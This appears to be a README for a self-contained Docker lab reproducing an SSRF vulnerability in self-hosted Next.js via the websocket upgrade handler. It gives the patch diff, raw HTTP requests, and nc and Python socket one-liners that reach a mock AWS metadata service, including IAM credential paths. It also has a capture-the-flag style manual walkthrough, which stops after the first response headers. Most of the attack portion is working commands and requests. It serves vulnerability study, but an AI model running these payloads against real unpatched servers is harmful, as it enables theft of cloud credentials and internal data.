
este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah
Self-contained lab to reproduce the CVE-2026-44578 vulnerability (CWE-918, SSRF) in self-hosted Next.js applications that use the built-in Node.js server.
| Field | Value |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Type | SSRF (CWE-918) |
| Affected versions | Next.js 13.4.13 – 15.5.15 and 16.0.0 – 16.2.4 |
| Patched versions | 15.5.16 and 16.2.5 |
| Authentication | none |
| User interaction | none |
Attacker (host: 0.0.0.0)
│ HTTP :3000 (public)
▼
┌──────────────────────────┐ same network namespace ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (credentials, │
│ (built-in Node server) │ │ user-data, index) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (port 3000): the vulnerable app, exposed on 0.0.0.0:3000.imds-sidecar: mock of the AWS metadata service that lives on
localhost:80 inside the Next.js container's namespace, modeling
a real cloud instance. It is not reachable from the host directly
(no published port). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # Automated PoC (5 probes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + secret routes
└── nextjs-app/ # Realistic app "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (vulnerable)
The WebSocket upgrade handler in router-server.ts calls proxyRequest()
when the parsed URI has parsedUrl.protocol, without checking the
finished and statusCode flags that the normal HTTP handler always emitted:
// vulnerable (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// patch (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
The attack path uses a request line with a double-slash absolute URI:
GET http:///path. normalizeRepeatedSlashes collapses http:/// to http:/,
leaving no hostname, and http-proxy then connects to localhost:80 with
the path intact:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
The presence of the Connection: Upgrade + Upgrade: websocket headers causes
the request to fall into the vulnerable upgrade handler instead of the
HTTP handler with the security checks.
docker compose up -d --build
Verify that the app responds:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
To keep it running on 0.0.0.0, the port mapping in
docker-compose.yml already exposes 3000:3000 on all interfaces.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Fully manual flow, 100% manual, in 4 phases. There are 4 flags hidden in the
internal service (localhost:80); this guide shows the flow up to the
first one and leaves you the routes to find the rest.
# Server fingerprint
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Open ports via socket (no nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
There is no direct access to 127.0.0.1:80 from the attacker: the only vector is
to make the Next.js server (which does live on the same network as the internal
service) request on our behalf.
First we confirm the SSRF by asking for the metadata service index:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Index response → candidates: instance-id, hostname,
iam/security-credentials/, user-data (first flag). The index of
latest/meta-data/ also reveals sub-keys worth exploring further.
GET http:///latest/user-data HTTP/1.1
| Part | Function |
|---|---|
GET | The vuln only proxies GET |
http:///latest/user-data | Absolute URI. http:/// collapses to http:/ → hostname null → the proxy connects to localhost:80 keeping the path /latest/user-data |
Host: 127.0.0.1:3000 | Otherwise, the server responds 400 |
Connection: Upgrade + Upgrade: websocket | Divert the request to the vulnerable upgrade handler (the normal HTTP handler does validate) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | Minimum headers required in a legitimate handshake |
Termination: \r\n\r\n on the raw socket (no body).
# Option A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Option B: raw socket in Python (same precision, no nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
Output — the first flag arrives in the response body from the internal service:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14